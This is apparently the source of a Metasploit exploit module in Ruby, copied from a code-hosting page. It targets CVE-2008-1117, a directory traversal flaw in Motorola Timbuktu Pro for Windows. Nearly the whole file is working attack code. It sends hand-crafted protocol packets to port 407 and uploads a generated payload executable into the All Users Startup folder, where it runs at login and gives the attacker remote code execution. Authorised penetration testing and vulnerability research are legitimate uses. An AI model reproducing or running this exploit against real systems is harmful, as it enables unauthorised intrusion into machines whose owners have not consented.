Path: blob/master/modules/exploits/windows/motorola/timbuktu_fileupload.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::EXE1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Timbuktu Pro Directory Traversal/File Upload',16'Description' => %q{17This module exploits a directory traversal vulnerability in Motorola's18Timbuktu Pro for Windows 8.6.5.19},20'Author' => [ 'MC' ],21'License' => MSF_LICENSE,22'References' => [23[ 'CVE', '2008-1117' ],24[ 'OSVDB', '43544' ],25],26'Privileged' => true,27'DefaultOptions' => {28'EXITFUNC' => 'process',29},30'Payload' => {31'Space' => 2048,32'DisableNops' => true,33'StackAdjustment' => -3500,34},35'Platform' => 'win',36'Targets' => [37[ 'Automatic', {} ],38],39'DefaultTarget' => 0,40'DisclosureDate' => '2008-05-10',41'Notes' => {42'Reliability' => UNKNOWN_RELIABILITY,43'Stability' => UNKNOWN_STABILITY,44'SideEffects' => UNKNOWN_SIDE_EFFECTS45}46)47)4849register_options(50[51Opt::RPORT(407),52OptString.new('PATH', [ true, 'The path to place the executable.', '\\../../../Documents and Settings/All Users/Start Menu/Programs/Startup/']),53]54)55end5657def exploit58connect5960exe = rand_text_alpha(8) + ".exe"61data = generate_payload_exe6263pkt1 = "\x00\x01\x6B\x00\x00\xB0\x00\x23\x07\x22\x03\x07\xD6\x69\x6D\x3B"64pkt1 << "\x27\xA8\xD0\xF2\xD6\x69\x6D\x3B\x27\xA8\xD0\xF2\x00\x09\x01\x41"65pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"66pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"67pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"68pkt1 << "\x00\x00\x00\x00\x00\x00\x01\x97\x01\x41\x00\x00\x00\x00\x00\x00"69pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"70pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"71pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"72pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x04\xB7\x1D"73pkt1 << "\xBF\x42\x00\x00\x00\x00\x7F\x00\x00\x01\x00\x00\x00\x00\x00\x00"74pkt1 << "\x00\x00\x00\x00\x00\x00"7576pkt3 = "\xFB\x00\x00\x00\x00\x54\x45\x58\x54\x74\x74\x78\x74\xC2\x32\x94"77pkt3 << "\xCC\xC2\x32\x94\xD9\x00\x00\x00\x00\x00\x00\x00\x13\x00\x00\x00"78pkt3 << "\x00\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"79pkt3 << "\x00\x00\x00\x00\x00\x00\x00"80pkt3 << [datastore['PATH'].length + exe.length].pack('C') + datastore['PATH'] + exe8182print_status("Connecting to #{rhost} on port #{rport}...")8384sock.put(pkt1)85select(nil, nil, nil, 0.15)8687sock.put("\xFF")88select(nil, nil, nil, 0.15)8990sock.put(pkt3)91select(nil, nil, nil, 0.15)9293sock.put("\xF9\x00")94select(nil, nil, nil, 0.15)9596print_status("Sending EXE payload '#{exe}' to #{rhost}:#{rport}...")97sock.put("\xF8" + [data.length].pack('n') + data)98select(nil, nil, nil, 5)99100sock.put("\xF7")101select(nil, nil, nil, 0.15)102103sock.put("\xFA")104select(nil, nil, nil, 0.15)105106sock.put("\xFE")107select(nil, nil, nil, 0.08)108109print_status("Done!")110disconnect111end112end113114115